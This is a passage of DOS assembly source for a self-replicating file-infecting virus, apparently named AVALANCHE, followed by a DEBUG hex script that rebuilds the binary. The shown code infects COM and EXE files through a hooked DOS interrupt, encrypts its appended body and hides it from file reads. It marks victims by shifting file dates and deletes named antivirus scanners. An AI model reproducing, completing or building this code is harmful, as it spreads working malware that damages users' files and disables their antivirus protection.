|||
|
|
|||
|
mov bx,[rd_aktpos_hi] ; aktpos < virpos ?
|
|||
|
les cx,dword ptr [rd_virpos_lo]
|
|||
|
mov dx,es ; DX:CX = aktpos
|
|||
|
call comp_32bit
|
|||
|
jb fall_2 ; pointer is in the host -> case 2
|
|||
|
|
|||
|
jmp fall_3 ; pointer is in the virus -> case 3
|
|||
|
|
|||
|
|
|||
|
; more decisions........
|
|||
|
|
|||
|
fall_1: ;--- pointer is in the header ----
|
|||
|
|
|||
|
les ax,dword ptr [rd_endpos_lo]; Endpos in header(endpos<1dh) ?
|
|||
|
mov bx,es ; BX:AX = Endpos
|
|||
|
xor dx,dx
|
|||
|
mov cx,1dh
|
|||
|
call comp_32bit ; caller is going to....
|
|||
|
jb fall_11 ; read header only
|
|||
|
|
|||
|
les cx,dword ptr [rd_virpos_lo]
|
|||
|
mov dx,es ; DX:CX = Virpos
|
|||
|
call comp_32bit
|
|||
|
jb fall_12 ; read header-host
|
|||
|
|
|||
|
jmp fall_13 ; read header-host-virus
|
|||
|
|
|||
|
fall_2: ; -- pointer is in the host ----
|
|||
|
|
|||
|
les ax,dword ptr [rd_endpos_lo] ; Endpos < Virpos ?
|
|||
|
mov bx,es ; BX:AX = end_pos
|
|||
|
les cx,dword ptr [rd_virpos_lo]
|
|||
|
mov dx,es
|
|||
|
call comp_32bit
|
|||
|
jb hilf1 ; end position is in the host
|
|||
|
jmp fall_22 ; endposition is in the virus
|
|||
|
hilf1: jmp fall_21
|
|||
|
|
|||
|
fall_3: ; --- pointer is in the virus ----
|
|||
|
|
|||
|
mov ax,0 ; return with zero bytes to caller
|
|||
|
clc
|
|||
|
jmp do_ret1
|
|||
|
|
|||
|
; --- actions according to th 6 cases above
|
|||
|
|
|||
|
fall_11: ; --- caller is trying to read to header -----
|
|||
|
|
|||
|
mov dx,1ch ; how many bytes to read ?
|
|||
|
sub dx,[rd_aktpos_lo]
|
|||
|
push dx
|
|||
|
neg dx ; negative offset
|
|||
|
mov cx,0ffffh
|
|||
|
mov al,02h
|
|||
|
call set_pos ; set pointer to corresponding byte
|
|||
|
; at the end of the virus where the
|
|||
|
; original bytes are stored
|
|||
|
|
|||
|
mov dx,[rd_puffer_off] ; read the original bytes from there
|
|||
|
mov cx,[rd_bytes]
|
|||
|
mov bx,[rd_handle]
|
|||
|
mov ah,3fh
|
|||
|
push [rd_ds_merk] ; set DS to readbuffer
|
|||
|
pop ds
|
|||
|
pushf
|
|||
|
call cs:[int21alt]
|
|||
|
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov cx,[rd_endpos_hi]
|
|||
|
mov dx,[rd_endpos_lo]
|
|||
|
mov al,0
|
|||
|
call set_pos ; correct the pointer position
|
|||
|
|
|||
|
jmp do_ret1
|
|||
|
|
|||
|
fall_12: ; --- caller is trying to read header+host ---
|
|||
|
|
|||
|
mov cx,[rd_bytes]
|
|||
|
cross: mov bx,[rd_handle] ; call read function
|
|||
|
mov dx,[rd_puffer_off]
|
|||
|
push [rd_ds_merk]
|
|||
|
pop ds
|
|||
|
mov ah,3fh
|
|||
|
pushf
|
|||
|
call cs:[int21alt]
|
|||
|
jae f121
|
|||
|
jmp do_ret1
|
|||
|
|
|||
|
f121: push cs ; DS=CS
|
|||
|
pop ds
|
|||
|
|
|||
|
mov [rd_bytes_read],ax ; store readed bytes
|
|||
|
|
|||
|
mov dx,1ch ; how many bytes from the header should
|
|||
|
sub dx,[rd_aktpos_lo] ; have been read ?
|
|||
|
push dx
|
|||
|
neg dx ; negative offset
|
|||
|
mov cx,0ffffh
|
|||
|
mov al,02h
|
|||
|
call set_pos ; set pointer to correcpondig bytes
|
|||
|
jae fall_12h1 ; behind the virus
|
|||
|
pop cx ; restore stack
|
|||
|
jmp reset_point ; restore file point and exit
|
|||
|
|
|||
|
fall_12h1:
|
|||
|
pop cx ; cx=ax (numer of bytes to read)
|
|||
|
push [rd_ds_merk]
|
|||
|
pop ax ; get buffer segment
|
|||
|
mov dx,[rd_puffer_off] ; increase memory pointer
|
|||
|
add dx,[rd_aktpos_lo]
|
|||
|
adc ax,0 ; take care of the carry flag
|
|||
|
mov ds,ax
|
|||
|
mov bx,cs:[rd_handle]
|
|||
|
mov ah,3fh
|
|||
|
pushf
|
|||
|
call cs:[int21alt] ; read original header
|
|||
|
jae fall_12h2
|
|||
|
jmp reset_point
|
|||
|
|
|||
|
fall_12h2:
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
|
|||
|
mov cx,[rd_aktpos_hi] ; set pointer to new position
|
|||
|
mov dx,[rd_aktpos_lo]
|
|||
|
add dx,[rd_bytes_read]
|
|||
|
adc cx,0
|
|||
|
xor al,al
|
|||
|
call set_pos
|
|||
|
mov ax,[rd_bytes_read]
|
|||
|
jmp do_ret1
|
|||
|
|
|||
|
fall_13: ; --- caller is trying to read header+host+virus
|
|||
|
|
|||
|
mov ax,[rd_virpos_lo] ; subtract virus bytes
|
|||
|
sub ax,[rd_aktpos_lo]
|
|||
|
|
|||
|
mov cx,ax
|
|||
|
jmp cross ; restore original cx
|
|||
|
|
|||
|
fall_21: ; --- caller is trying to read the host
|
|||
|
|
|||
|
jmp do_read0 ; no action necessary
|
|||
|
|
|||
|
fall_22: ; --- caller is trying to read host+virus
|
|||
|
|
|||
|
mov cx,[rd_virpos_lo] ; subtract virus bytes
|
|||
|
sub cx,[rd_aktpos_lo]
|
|||
|
push cx
|
|||
|
mov bx,[rd_handle] ; do the read function
|
|||
|
mov dx,[rd_puffer_off]
|
|||
|
mov ah,3fh
|
|||
|
push [rd_ds_merk]
|
|||
|
pop ds
|
|||
|
pushf
|
|||
|
call cs:[int21alt]
|
|||
|
pop cx
|
|||
|
jmp do_ret2
|
|||
|
|
|||
|
; Compare two 32bit numbers
|
|||
|
; INPUT no 1: BX:AX
|
|||
|
; no 2: DX:CX
|
|||
|
; Ausgabe:
|
|||
|
; no 1=no 2 : ZF=1
|
|||
|
; no 1>no 2 : CF=0,ZF=0
|
|||
|
; no 1<no 2 : CF=1
|
|||
|
|
|||
|
comp_32bit:
|
|||
|
|
|||
|
cmp bx,dx ; compare hi words
|
|||
|
ja comp_16end ; no 1 > no 2
|
|||
|
jb comp_16end ; no 1 < no 2
|
|||
|
cmp ax,cx ; HI-Words eqaul -> compare low-words
|
|||
|
ja comp_16end ; no 1 > no 2
|
|||
|
jb comp_16end ; no 2 < no 2
|
|||
|
; else no 1 = no 2
|
|||
|
comp_16end:
|
|||
|
ret
|
|||
|
|
|||
|
; restores the original file pointer position and leaves the routine
|
|||
|
; with error 'read 0 bytes'
|
|||
|
|
|||
|
reset_point:
|
|||
|
mov dx,cs:[rd_aktpos_lo]
|
|||
|
mov cx,cs:[rd_aktpos_hi]
|
|||
|
xor al,al
|
|||
|
call set_pos
|
|||
|
xor ax,ax
|
|||
|
clc
|
|||
|
jmp do_ret1
|
|||
|
|
|||
|
; Routine to change pointer position
|
|||
|
; INPUT : al=offset-code
|
|||
|
; cx:dx = new position
|
|||
|
|
|||
|
set_pos:
|
|||
|
push ax
|
|||
|
push bx
|
|||
|
push dx
|
|||
|
|
|||
|
mov ah,42h
|
|||
|
mov bx,cs:[rd_handle]
|
|||
|
pushf
|
|||
|
call cs:[int21alt]
|
|||
|
|
|||
|
pop dx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
|
|||
|
ret
|
|||
|
|
|||
|
deal_read endp
|
|||
|
|
|||
|
ENDIF
|
|||
|
|
|||
|
;===========================================================================
|
|||
|
|
|||
|
INT13 PROC FAR ; INT 13h Handler
|
|||
|
|
|||
|
orgint: jmp cs:[int13alt]
|
|||
|
|
|||
|
INT13 ENDP
|
|||
|
|
|||
|
; *************************************************************************
|
|||
|
; *** new function 4ch of int 21 ***
|
|||
|
; *************************************************************************
|
|||
|
|
|||
|
exec proc near ; handle an exec call
|
|||
|
; DS:DX pointer to filename
|
|||
|
call pushall
|
|||
|
|
|||
|
mov cs:[internal],0 ; indicates call by foreign program
|
|||
|
mov cs:[notarn],0 ; stealth on
|
|||
|
|
|||
|
call killscan ; kill scanners
|
|||
|
jmp short exe0
|
|||
|
|
|||
|
exec1: call pushall ; entry for internal usage
|
|||
|
mov cs:[internal],1 ; DS:DX pointer to filename
|
|||
|
|
|||
|
exe0: mov cs:[nam_off],dx ; store filename offset
|
|||
|
mov cs:[nam_seg],ds ; and segment
|
|||
|
|
|||
|
mov cs:[flag],0 ; reset infection flag
|
|||
|
|
|||
|
push ds
|
|||
|
push dx
|
|||
|
call discrit ; disable error handler
|
|||
|
exe01: pop dx
|
|||
|
pop ds
|
|||
|
|
|||
|
mov ax,4300h ; get file attributes
|
|||
|
int DOS_N
|
|||
|
jae exe1
|
|||
|
jmp exeaus2 ; exit on error
|
|||
|
|
|||
|
exe1: mov cs:[d_attrib],cx ; store attributes
|
|||
|
test cx,100b ; is it a system file ?
|
|||
|
je exe2
|
|||
|
jmp exeaus2 ; yes? do not infect it
|
|||
|
|
|||
|
exe2: mov ax,4301h ; disable read-only attributes
|
|||
|
and cx,1111111111111110b
|
|||
|
pushf
|
|||
|
call cs:[int21alt]
|
|||
|
jae exe3
|
|||
|
jmp exeaus
|
|||
|
|
|||
|
exe3: call fuck_scanner ; fuck scanner
|
|||
|
|
|||
|
mov ax,3d00h ; open file with read-only
|
|||
|
pushf
|
|||
|
call cs:[int21alt] ; ds:dx filename
|
|||
|
jae exe4 ; access denied -> exit
|
|||
|
jmp exeaus
|
|||
|
|
|||
|
exe4: mov bx,ax ; store handle in bx
|
|||
|
|
|||
|
push cs ; DS=CS
|
|||
|
pop ds
|
|||
|
|
|||
|
mov [handle],bx
|
|||
|
push bx
|
|||
|
mov ax,1220h ; get the sft table
|
|||
|
int 2fh
|
|||
|
mov al,es:[di] ; necessary because scanners locate
|
|||
|
mov bl,al ; the TridenT Mirror virus in memory
|
|||
|
mov ax,1216h
|
|||
|
int 2fh
|
|||
|
pop bx
|
|||
|
jae exe41
|
|||
|
jmp fehler
|
|||
|
|
|||
|
exe41: mov word ptr es:[di+2],2 ; set file to read/write access
|
|||
|
|
|||
|
call pruefinf ; is file infected ?
|
|||
|
jae exe5
|
|||
|
jmp fehler
|
|||
|
|
|||
|
exe5: mov dx,psp ; read the original header to psp
|
|||
|
mov cx,1ch
|
|||
|
mov ah,3fh
|
|||
|
int DOS_N
|
|||
|
jc fehler
|
|||
|
|
|||
|
mov si,dx ; copy original header behind virus
|
|||
|
mov cx,1ch ; for later memory stealth
|
|||
|
mov di,offset orig_exehead
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
rep movsb
|
|||
|
|
|||
|
mov ax,4202h ; get the filesize by setting the
|
|||
|
xor cx,cx ; pointer to end of file
|
|||
|
xor dx,dx
|
|||
|
pushf
|
|||
|
call cs:[int21alt]
|
|||
|
jae exe6
|
|||
|
jmp short fehler ; exit on error
|
|||
|
|
|||
|
exe6: mov [org_filelng_lo],ax ; store lo-word o file length
|
|||
|
mov [org_filelng_hi],dx ; hi-word also
|
|||
|
|
|||
|
exe8: cmp word ptr cs:[psp],5a4dh ; is it an exe file or a .com ?
|
|||
|
jne exe9
|
|||
|
exe80: call infektexe ; infect .exe
|
|||
|
jmp short fehler ; exit on error
|
|||
|
|
|||
|
exe9: cmp [org_filelng_lo],62000 ; .com > 62000 ? -> exit
|
|||
|
ja fehler
|
|||
|
|
|||
|
call infektcom ; infect com file
|
|||
|
|
|||
|
;---------------------------------------------------------------
|
|||
|
|
|||
|
fehler: call reset_status ; reset file attributes
|
|||
|
mov ah,3eh ; close file
|
|||
|
pushf
|
|||
|
call cs:[OrgDos]
|
|||
|
|
|||
|
exeaus: call reset_attrib
|
|||
|
|
|||
|
exeaus2: call encrit ; enable error handler
|
|||
|
|
|||
|
exeaus3: cmp cs:[internal],1 ; internal use ?
|
|||
|
je rtocaller
|
|||
|
call popall
|
|||
|
|
|||
|
jmp cs:[int21alt] ; execute program
|
|||
|
|
|||
|
rtocaller: mov cs:[internal],0
|
|||
|
call popall
|
|||
|
ret ; back to caller (virus)
|
|||
|
|
|||
|
exec ENDP
|
|||
|
|
|||
|
;---------------------------------------------------------------------------
|
|||
|
|
|||
|
reset_status PROC NEAR ; reset original file and date stamps
|
|||
|
|
|||
|
; [Flag]=1 == > increase date by 100 years
|
|||
|
; file has to be openend
|
|||
|
|
|||
|
mov ax,5701h ; restore date/time
|
|||
|
mov bx,[handle]
|
|||
|
mov cx,[d_zeit]
|
|||
|
mov dx,[d_datum]
|
|||
|
cmp [flag],1 ; has infection took place ?
|
|||
|
jne fe1
|
|||
|
add dx,1100100000000000b ; add 100 years
|
|||
|
fe1: pushf
|
|||
|
call cs:[OrgDos]
|
|||
|
ret
|
|||
|
|
|||
|
reset_status ENDP
|
|||
|
|
|||
|
;---------------------------------------------------------------------------
|
|||
|
reset_attrib PROC NEAR ; restore original file attibutes
|
|||
|
|
|||
|
mov cx,[d_attrib]
|
|||
|
mov ax,4301h
|
|||
|
mov dx,[nam_off]
|
|||
|
mov bx,[nam_seg] ; DS:DX pointer to filename
|
|||
|
push bx
|
|||
|
pop ds
|
|||
|
pushf
|
|||
|
call cs:[OrgDos]
|
|||
|
ret
|
|||
|
|
|||
|
reset_attrib ENDP
|
|||
|
|
|||
|
;---------------------------------------------------------------------------
|
|||
|
|
|||
|
infektcom proc near ; infect com file
|
|||
|
|
|||
|
IF COMPERMIS
|
|||
|
|
|||
|
mov ax, word ptr cs:[psp+2] ; is it a device driver ?
|
|||
|
cmp ah,0ffh
|
|||
|
je infektende ; exit if so.
|
|||
|
cmp al,0ffh
|
|||
|
je infektende
|
|||
|
|
|||
|
;--- calc new entry ----------------------------
|
|||
|
|
|||
|
mov bx,[org_filelng_lo]
|
|||
|
sub bx,3h
|
|||
|
mov word ptr [com_vek+1],bx
|
|||
|
|
|||
|
;--- write new entry -------------------------
|
|||
|
|
|||
|
mov ax,4200h ; set file pointer to first byte
|
|||
|
mov bx,cs:[handle]
|
|||
|
xor dx,dx
|
|||
|
xor cx,cx
|
|||
|
|
|||
|
pushf
|
|||
|
call cs:[OrgDos]
|
|||
|
jc infektende
|
|||
|
|
|||
|
mov ah,40h ; write new entry
|
|||
|
mov cx,3 ; 3 bytes
|
|||
|
mov dx,offset com_vek
|
|||
|
pushf
|
|||
|
call cs:[OrgDos]
|
|||
|
jc infektende
|
|||
|
|
|||
|
mov ax,4202h ; set pointer to end of file
|
|||
|
xor dx,dx
|
|||
|
xor cx,cx
|
|||
|
|
|||
|
pushf
|
|||
|
call cs:[OrgDos]
|
|||
|
jc infektende
|
|||
|
|
|||
|
mov [ip_merk],100h ; store IP
|
|||
|
mov [comflag],1 ; flag indicates COM file
|
|||
|
|
|||
|
mov ax,word ptr cs:[psp] ; store original bytes
|
|||
|
mov word ptr [combytes],ax
|
|||
|
mov al,byte ptr cs:[psp+2]
|
|||
|
mov byte ptr [combytes+2],al
|
|||
|
|
|||
|
mov [min_mem],4096 ; minimum amount of memory for a com file
|
|||
|
|
|||
|
mov ax,[org_filelng_lo]
|
|||
|
add ax,offset vircode
|
|||
|
mov word ptr [kenn1+1],ax
|
|||
|
|
|||
|
call kodier
|
|||
|
mov [flag],1 ; file was successfully infected
|
|||
|
|
|||
|
ENDIF
|
|||
|
|
|||
|
infektende: ret
|
|||
|
|
|||
|
infektcom endp
|
|||
|
|
|||
|
;----------------------------------------------------------------------------
|
|||
|
|
|||
|
infektexe proc near ; infect exe file (uff, very difficult)
|
|||
|
|
|||
|
IF EXEPERMIS
|
|||
|
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
|
|||
|
mov si,offset psp
|
|||
|
|
|||
|
|
|||
|
kompr: cmp word ptr [si+segtab],1 ; is it a compressed or selfchecking
|
|||
|
ja checkwin ; file ?
|
|||
|
ret ; exit if so.
|
|||
|
|
|||
|
checkwin: cmp byte ptr [si+18h],40h ; is it a new exe header ?
|
|||
|
jne checkovl ; forget it!
|
|||
|
ret
|
|||
|
|
|||
|
checkovl: cmp byte ptr [si+ovl_no],0 ; no overlays please !
|
|||
|
je checklng
|
|||
|
ret
|
|||
|
|
|||
|
checklng: mov dx,[org_filelng_hi] ; check for internal overlays
|
|||
|
mov ax,[org_filelng_lo]
|
|||
|
call divide
|
|||
|
inc ax ; add 512 bytes
|
|||
|
|
|||
|
cmp ax,[si+div512] ; compare only hi-byte
|
|||
|
je go
|
|||
|
ret
|
|||
|
|
|||
|
go: mov ax,word ptr [si+cs_pos] ; store CS
|
|||
|
mov [cs_merk],ax
|
|||
|
mov ax,word ptr [si+ss_pos] ; store SS
|
|||
|
mov [ss_merk],ax
|
|||
|
mov ax,word ptr [si+sp_pos] ; store SP
|
|||
|
mov [sp_merk],ax
|
|||
|
mov ax,word ptr [si+ip_pos] ; and IP
|
|||
|
mov [ip_merk],ax
|
|||
|
|
|||
|
mov dx,[org_filelng_hi] ; filesize to DX:AX
|
|||
|
mov ax,[org_filelng_lo] ; calc new CS and SS
|
|||
|
|
|||
|
mov bx,[si+hdl_pos] ; calc header size in bytes
|
|||
|
mov cl,4
|
|||
|
shl bx,cl
|
|||
|
|
|||
|
sub ax,bx ; subtract header size from filesize
|
|||
|
sbb dx,0 ; -> DX:AX
|
|||
|
|
|||
|
mov bx,ax ; calc new IP
|
|||
|
and bx,0000000000001111b ; Lo-nibble is offset of IP
|
|||
|
mov [si+ip_pos],bx
|
|||
|
|
|||
|
mov cx,4 ; filesize -> pararaphs
|
|||
|
divide0: sar dx,1
|
|||
|
rcr ax,1
|
|||
|
loop divide0 ; result in AX
|
|||
|
|
|||
|
mov [si+ss_pos],ax ; set new SS
|
|||
|
mov [si+cs_pos],ax ; SS=CS
|
|||
|
|
|||
|
mov [min_mem],ax ; set up amount of memory for virus
|
|||
|
|
|||
|
mov word ptr [si+sp_pos],((virende-start)+100h) ; set SP
|
|||
|
|
|||
|
ramok: mov ax,[org_filelng_lo] ; fix filesize int header
|
|||
|
mov dx,[org_filelng_hi]
|
|||
|
add ax,(virende-start+512) ; add virus + 512
|
|||
|
adc dx,0
|
|||
|
|
|||
|
call divide
|
|||
|
mov word ptr [si+mod512],bx
|
|||
|
mov word ptr [si+div512],ax
|
|||
|
|
|||
|
xor cx,cx ; set file pointer to header
|
|||
|
mov dx,0
|
|||
|
mov bx,[handle]
|
|||
|
mov ax,4200h
|
|||
|
int DOS_N
|
|||
|
jc exeinfende
|
|||
|
|
|||
|
mov ah,40h ; write new values in header
|
|||
|
mov cx,1ch
|
|||
|
mov dx,offset psp
|
|||
|
pushf
|
|||
|
call cs:[int21alt]
|
|||
|
jc exeinfende
|
|||
|
|
|||
|
mov ax,4202h ; file pointer to end of file
|
|||
|
xor dx,dx
|
|||
|
xor cx,cx
|
|||
|
int DOS_N
|
|||
|
jc exeinfende
|
|||
|
|
|||
|
mov [comflag],0 ; host is an exe file
|
|||
|
|
|||
|
mov ax,[si+ip_pos]
|
|||
|
add ax,(offset vircode -100h)
|
|||
|
mov word ptr [kenn1+1],ax ; set up new delta offset
|
|||
|
|
|||
|
call kodier ; encrypt virus and write it to host
|
|||
|
|
|||
|
mov [flag],1 ; infection successful
|
|||
|
|
|||
|
ENDIF
|
|||
|
|
|||
|
exeinfende: ret
|
|||
|
|
|||
|
infektexe endp
|
|||
|
|
|||
|
;---------------------------------------------------------------------------
|
|||
|
; disable critical error handler to avoid write errors on write-protected
|
|||
|
; disks
|
|||
|
|
|||
|
discrit proc near
|
|||
|
|
|||
|
call pushall
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
|
|||
|
mov ax,3524h ; get old INT 24h
|
|||
|
int DOS_N ;
|
|||
|
mov word ptr [crbreak],bx
|
|||
|
mov word ptr [crbreak+2],es
|
|||
|
|
|||
|
mov ax,2524h ; set new handler
|
|||
|
mov dx,offset cint
|
|||
|
pushf
|
|||
|
call cs:[OrgDos]
|
|||
|
|
|||
|
call popall
|
|||
|
ret
|
|||
|
|
|||
|
discrit endp
|
|||
|
|
|||
|
;---------------------------------------------------------------------------
|
|||
|
; enable critical error handler
|
|||
|
|
|||
|
encrit proc near
|
|||
|
|
|||
|
call pushall
|
|||
|
|
|||
|
mov dx,word ptr cs:[crbreak] ; restore old INT 24h
|
|||
|
mov ax,word ptr [crbreak+2]
|
|||
|
mov ds,ax
|
|||
|
mov ax,2524h
|
|||
|
int DOS_N
|
|||
|
call popall
|
|||
|
ret
|
|||
|
|
|||
|
encrit endp
|
|||
|
|
|||
|
;---------------------------------------------------------------------------
|
|||
|
|
|||
|
; INPUT DX:AX value to divide by 512
|
|||
|
; OUTPUT AX value DIV 512
|
|||
|
; BX value MOD 512
|
|||
|
|
|||
|
divide proc near
|
|||
|
|
|||
|
mov bx,ax
|
|||
|
and bx,0000000111111111b ; filesize MOD 512
|
|||
|
|
|||
|
mov cx,9 ; 32 bit division
|
|||
|
divide1: clc
|
|||
|
shr dx,1
|
|||
|
rcr ax,1
|
|||
|
loop divide1
|
|||
|
|
|||
|
ret
|
|||
|
|
|||
|
divide endp
|
|||
|
|
|||
|
;*****************************************************************************
|
|||
|
; encyrpt virus and stick it to the end of host *
|
|||
|
;*****************************************************************************
|
|||
|
|
|||
|
kodier proc near
|
|||
|
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
inc [generation] ; increase generation counter
|
|||
|
cld
|
|||
|
mov dx,offset (virende-start) ; virussize
|
|||
|
mov si,offset start ; start of virus
|
|||
|
mov ah,byte ptr [org_filelng_lo]
|
|||
|
xor ah,0aah
|
|||
|
mov byte ptr [entschl+3],ah ; decryptor value
|
|||
|
|
|||
|
kod0: mov ah,byte ptr [org_filelng_lo] ; key in in ah
|
|||
|
xor ah,0aah
|
|||
|
mov di,psp ; set pointer to unused psp
|
|||
|
xor cx,cx ; reset byte counter
|
|||
|
|
|||
|
kod1: lodsb ; load a word
|
|||
|
cmp si,offset vircode ; encyrpt it ?
|
|||
|
jna ncode ; no, it's the virus decryptor
|
|||
|
cmp si,offset vor_header ; do not encrypt the original header
|
|||
|
ja ncode
|
|||
|
xor al,ah ; encrypt word
|
|||
|
ncode: stosb ; and write it to psp
|
|||
|
inc cx
|
|||
|
cmp cx,250 ; is buffer full ?
|
|||
|
jna kod2 ; yes, then write it to disk
|
|||
|
jmp short kodaus
|
|||
|
kod2: cmp cx,dx ; are we ready ?
|
|||
|
jne kod1 ; no, continue
|
|||
|
|
|||
|
kodaus: sub dx,cx
|
|||
|
|
|||
|
push dx ; write encrypted by to host
|
|||
|
mov bx,[handle]
|
|||
|
mov dx,psp ; ds:dx pointer to start of encry.buffer
|
|||
|
mov ah,40h
|
|||
|
pushf ; write cx bytes
|
|||
|
call cs:[int21alt]
|
|||
|
pop dx
|
|||
|
jc kodrueck ; exit on error
|
|||
|
or dx,dx
|
|||
|
je kodrueck
|
|||
|
jmp short kod0
|
|||
|
|
|||
|
dec [generation]
|
|||
|
cmp [generation],32
|
|||
|
jne kodrueck
|
|||
|
absturz: jmp absturz
|
|||
|
|
|||
|
kodrueck: ret
|
|||
|
|
|||
|
kodier endp
|
|||
|
|
|||
|
;***************************************************************************
|
|||
|
;*** check if file is infected ****
|
|||
|
;*** INPUT : BX=Handle ****
|
|||
|
;*** OUTPUT : C=0: file is clean / C=1: file is infected or access denied***
|
|||
|
;***************************************************************************
|
|||
|
|
|||
|
pruefinf proc near
|
|||
|
|
|||
|
push bx
|
|||
|
push ax
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
|
|||
|
mov ax,5700h ; get time/date stamps
|
|||
|
pushf
|
|||
|
call cs:[int21alt]
|
|||
|
mov cs:[d_datum],dx
|
|||
|
mov cs:[d_zeit],cx
|
|||
|
|
|||
|
and dx,1111111000000000b ; mask out the month
|
|||
|
mov cl,9 ; year to low byte
|
|||
|
shr dx,cl
|
|||
|
cmp dx,90 ; year <90 file id clean
|
|||
|
jb nichtinf
|
|||
|
|
|||
|
stc ; set infection flag
|
|||
|
pruefaus: pop dx
|
|||
|
pop cx
|
|||
|
pop ax
|
|||
|
pop bx
|
|||
|
ret
|
|||
|
|
|||
|
nichtinf: clc
|
|||
|
jmp short pruefaus
|
|||
|
|
|||
|
pruefinf endp
|
|||
|
|
|||
|
;*************************************************************************
|
|||
|
; retro function: delete scanners
|
|||
|
;*************************************************************************
|
|||
|
|
|||
|
scanner db "F-PR",0
|
|||
|
db "TBAV",0
|
|||
|
db "SCAN",0
|
|||
|
db "MSAV",0
|
|||
|
db "CPAV",0
|
|||
|
db "TBME",0
|
|||
|
db "TBFI",0
|
|||
|
db "TBSC",0
|
|||
|
db "VIRS",0
|
|||
|
db "TBDR",0
|
|||
|
db 0
|
|||
|
|
|||
|
fuck_scanner PROC NEAR
|
|||
|
|
|||
|
IF RETRO
|
|||
|
|
|||
|
call pushall
|
|||
|
|
|||
|
push cs ; ES=CS
|
|||
|
pop es
|
|||
|
|
|||
|
mov ax,cs:[nam_seg] ; get filename
|
|||
|
mov ds,ax ; to DS:SI
|
|||
|
mov si,cs:[nam_off]
|
|||
|
|
|||
|
fd_end: inc si
|
|||
|
cmp byte ptr ds:[si],0 ; find last char
|
|||
|
jne fd_end
|
|||
|
|
|||
|
fc2: dec si ; set pointer to filename
|
|||
|
cmp byte ptr ds:[si-1],"\"
|
|||
|
jne fc2
|
|||
|
|
|||
|
mov cx,4
|
|||
|
mov di,offset scanner
|
|||
|
call search ; search for scanner
|
|||
|
jae fuckend
|
|||
|
|
|||
|
gotcha: mov dx,si
|
|||
|
mov ah,41h ; delete scanner
|
|||
|
pushf
|
|||
|
call cs:[OrgDos]
|
|||
|
|
|||
|
fuckend: call popall
|
|||
|
|
|||
|
ENDIF
|
|||
|
ret
|
|||
|
|
|||
|
fuck_scanner ENDP
|
|||
|
|
|||
|
;**************************************************************************
|
|||
|
; compare a string with a list of strings
|
|||
|
; INPUT: DS:SI string to find
|
|||
|
; es:di list
|
|||
|
; cx number of bytes to compare
|
|||
|
; OUPUT: C=1 if string was found
|
|||
|
; DX position of string
|
|||
|
;**************************************************************************
|
|||
|
|
|||
|
search PROC NEAR
|
|||
|
|
|||
|
mov ax,cx ; store cx
|
|||
|
xor dx,dx
|
|||
|
cld
|
|||
|
comp: mov cx,ax
|
|||
|
push si ; store SI (pointer to reference)
|
|||
|
repe cmpsb ; compare strings
|
|||
|
pop si
|
|||
|
jz treffer ; Z=1 -> string found
|
|||
|
|
|||
|
s_str: cmp byte ptr es:[di],0 ; find start of next string in list
|
|||
|
je str_gef
|
|||
|
inc di
|
|||
|
jmp short s_str
|
|||
|
str_gef: inc di
|
|||
|
cmp byte ptr es:[di],0 ; end of list ?
|
|||
|
je failed
|
|||
|
inc dx
|
|||
|
jmp short comp
|
|||
|
treffer: stc
|
|||
|
ret
|
|||
|
|
|||
|
failed: clc
|
|||
|
ret
|
|||
|
|
|||
|
search ENDP
|
|||
|
|
|||
|
;---------------------------------------------------------------------------
|
|||
|
|
|||
|
pushall proc near
|
|||
|
|
|||
|
pop cs:[ret_off]
|
|||
|
pushf
|
|||
|
push ax
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push bp
|
|||
|
push si
|
|||
|
push di
|
|||
|
push es
|
|||
|
push ds
|
|||
|
push cs:[ret_off]
|
|||
|
ret
|
|||
|
|
|||
|
pushall endp
|
|||
|
|
|||
|
;----------------------------------------------------------------------------
|
|||
|
|
|||
|
popall proc near
|
|||
|
|
|||
|
pop cs:[ret_off]
|
|||
|
pop ds
|
|||
|
pop es
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
pop bp
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
popf
|
|||
|
push cs:[ret_off]
|
|||
|
ret
|
|||
|
|
|||
|
popall endp
|
|||
|
|
|||
|
vor_header equ this byte
|
|||
|
orig_exehead db 1ch dup (?) ; position of original exe header
|
|||
|
|
|||
|
|
|||
|
virende equ this byte
|
|||
|
|
|||
|
code ends
|
|||
|
end start
|
|||
|
-----------------------------------
|
|||
|
N avalanch.com
|
|||
|
E 0100 66 B9 F0 0A 00 00 BB 1D 02 EB 06 EA 2E 80 37 00
|
|||
|
E 0110 43 E2 F9 E8 00 00 58 8B E8 81 ED 16 01 EB 01 81
|
|||
|
E 0120 EB 58 20 41 56 41 4C 41 4E 43 48 45 2F 47 65 72
|
|||
|
E 0130 6D 61 6E 79 20 27 39 34 2E 2E 2E 4D 65 74 61 6C
|
|||
|
E 0140 20 4A 75 6E 6B 69 65 20 67 72 65 65 74 73 20 4E
|
|||
|
E 0150 65 75 72 6F 62 61 73 68 65 72 00 00 00 00 00 00
|
|||
|
E 0160 FE FF 00 00 00 10 00 01 00 00 C3 00 01 E9 00 00
|
|||
|
E 0170 00 00 00 00 00 00 00 01 00 00 FA 8C 9E 5C 01 FC
|
|||
|
E 0180 0E 1F B8 F0 4B 33 FF CD 21 81 FF 68 73 75 03 E9
|
|||
|
E 0190 50 01 B4 30 CD 21 3C 05 73 03 E9 45 01 B4 04 CD
|
|||
|
E 01A0 1A 72 0E 81 F9 96 19 73 08 80 FE 01 73 03 E9 31
|
|||
|
E 01B0 01 E8 46 01 B4 0E B2 AD CD 21 3C BA 75 4A E9 21
|
|||
|
E 01C0 01 8B 86 5C 01 8E D8 8E C0 80 BE 77 01 01 74 1F
|
|||
|
E 01D0 8C C0 03 86 5A 01 05 10 00 89 86 68 01 8B A6 60
|
|||
|
E 01E0 01 8C C0 2E 03 86 62 01 05 10 00 8E D0 EB 07 8C
|
|||
|
E 01F0 C8 2E 89 86 68 01 33 C0 8B D8 8B C8 8B D0 8B F0
|
|||
|
E 0200 8B F8 FB 2E FF AE 66 01 8B 86 5C 01 8E C0 8B 9E
|
|||
|
